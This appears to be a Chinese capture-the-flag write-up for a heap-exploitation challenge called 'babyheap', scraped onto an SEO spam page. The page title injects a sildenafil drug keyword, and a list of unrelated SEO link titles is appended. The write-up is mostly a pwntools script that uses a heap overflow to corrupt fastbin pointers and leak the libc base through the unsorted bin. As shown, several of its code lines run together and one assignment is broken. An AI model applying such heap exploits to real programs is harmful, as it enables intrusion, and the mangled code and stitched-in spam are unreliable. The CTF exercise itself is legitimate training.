当前位置: 首页 > wzjs >正文

网站维护运营西地那非片

网站维护运营,西地那非片,东阳网站建设,部门政府网站建设的重要意义checksec exeinfo 开启了全保护 64位 查看函数: 堆题 增删查改齐了 可以在编辑堆的时候重新设置大小 存在堆溢出 delete函数的指针清零了 无UAF 想法是通过unsorted bin泄露libc基址: from pwn import *p process(./babyheap) #p remote("node…

checksec exeinfo

开启了全保护 64位

查看函数:

堆题 增删查改齐了

可以在编辑堆的时候重新设置大小 存在堆溢出

delete函数的指针清零了 无UAF

想法是通过unsorted bin泄露libc基址:

from pwn import *p = process('./babyheap')
#p = remote("node5.buuoj.cn", 25783)
context.log_level = 'debug'def add(size):p.sendlineafter("Command: ", str(1))p.sendlineafter("Size: ", str(size))def edit(index, size, content):p.sendlineafter("Command: ", str(2))p.sendlineafter("Index: ", str(index))p.sendlineafter("Size: ", str(size))p.sendlineafter("Content: ", content)
def delete(index):p.sendlineafter("Command: ", str(3))p.sendlineafter("Index: ", str(index))def show(index):p.sendlineafter("Command: ", str(4))p.sendlineafter("Index: ", str(index))add(0x10) #chunk0 方便修改接下来的chunk 
add(0x10) #chunk1 让chunk2变为fastbin的fd指针先指向它
add(0x10) #chunk2 修改fd 使其指向chunk4
add(0x10) #chunk3 方便让chunk4绕过fastbin检查并复原
add(0x80) #chunk4 最终unsortedbin指针的存放处
delete(1) 
delete(2) gdb.attach(p)
pause()payload = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p8(0x80)
edit(0, len(payload), payload)
#将chunk2的末8位改为0x80(指向chunk4)payload = p64(0) * 3 + p64(0x21)
edit(3, len(payload), payload)
#暂时修改chunk4的大小使其能够被加入fastbin链表add(0x10)
add(0x10)
#两次malloc0x10让第二次的malloc为chunk4payload = p64(0) * 3 + p64(0x91)
edit(3, len(payload), payload)
#大小改回来add(0x80)
delete(4)
pause()
#此时chunk4进入了unsorted bin链表 此时chunk2指向chunk4
show(2)
p.recvline()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 0x3c4b78
print(hex(libc_base))
pause()

偏移使用gdb查看:

图示:

http://www.dtcms.com/wzjs/62197.html

相关文章:

  • 六安哪里有做推广网站名风seo软件
  • c 网站开发htnl西安做网站的网络公司
  • 网站建设合同首付多少钱北京网站优化指导
  • xp系统中做网站服务器吗网站优化方案案例
  • 企业网站开发实训总结武汉百度推广seo
  • 网站优化有哪些建立一个国外的网站
  • 购物商城网站seo俱乐部
  • 遵义在线遵义晚报高级seo招聘
  • 自建木屋教程夫唯seo教程
  • 长春网站优化页面海淀区seo搜索引擎优化企业
  • 网站开发asp.net线上培训机构有哪些
  • 做团购的家居网站有哪些企业网站的主要类型有
  • 用什么软件做网站最简单公司网站域名续费一年多少钱
  • 盐城建设厅网站设计备案网站建设公司seo关键词
  • 网站建设关键要素软文营销的特点有哪些
  • 网站网页和网址的关系百度网址导航
  • 温州文成县高端网站设计免费二级域名注册网站有哪些
  • 新建免费网站网络营销策划书格式
  • 哪个网站有天天做股市直播的沈阳seo排名优化教程
  • 租房子网站怎么做企业网站推广的方法有
  • 定制型网站开发怎么制作网站平台
  • 龙华网站建设的软件百度推广的方式有哪些
  • 青岛专业网站排名推广百度云搜索引擎
  • 连锁店管理网站开发网站网页设计
  • 做网站需要的素材资料百度怎么注册公司网站
  • 哪些网站可以做商家seo赚钱项目
  • 做p2p网站seo策略主要包括
  • 做百度推广需要网站吗培训班管理系统 免费
  • 网站建设客户需求表友点企业网站管理系统
  • 网站建设目标责任百度seo策略